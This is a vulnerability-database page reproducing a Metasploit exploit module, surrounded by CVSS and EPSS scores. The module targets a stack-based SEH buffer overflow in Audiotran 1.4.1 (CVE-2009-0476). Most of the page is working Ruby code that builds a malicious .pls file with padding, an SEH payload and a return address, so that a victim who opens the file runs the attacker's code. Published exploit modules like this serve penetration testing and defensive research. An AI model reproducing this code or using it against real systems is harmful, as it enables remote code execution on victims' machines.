Lucene search

K
metasploitSebastien Duquette, dookieMSF:EXPLOIT-WINDOWS-FILEFORMAT-AUDIOTRAN_PLS-
HistoryJan 28, 2010 - 7:24 p.m.

Audiotran 1.4.1 (PLS File) Stack Buffer Overflow

2010-01-2819:24:41
Sebastien Duquette, dookie
www.rapid7.com
21

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

AI Score

8

Confidence

Low

EPSS

0.738

Percentile

98.2%

This module exploits a stack-based buffer overflow in Audiotran 1.4.1. An attacker must send the file to victim and the victim must open the file. Alternatively it may be possible to execute code remotely via an embedded PLS file within a browser, when the PLS extension is registered to Audiotran. This functionality has not been tested in this module.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively it may be possible to execute code remotely via an embedded
        PLS file within a browser, when the PLS extension is registered to Audiotran.
        This functionality has not been tested in this module.
      },
      'License'        => MSF_LICENSE,
      'Author' 	 =>
        [
          'Sebastien Duquette',
          'dookie',
        ],
      'References'     =>
        [
          [ 'CVE', '2009-0476'],
          [ 'OSVDB', '55424'],
          [ 'EDB', '11079' ],
        ],
      'Payload'        =>
        {
          'Space'    => 6000,
          'BadChars' => "\x00\x0a\x3d",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-01-09',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
        ])

  end

  def exploit

    sploit = rand_text_alpha_upper(1308)
    sploit << generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(8000)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

AI Score

8

Confidence

Low

EPSS

0.738

Percentile

98.2%

Related for MSF:EXPLOIT-WINDOWS-FILEFORMAT-AUDIOTRAN_PLS-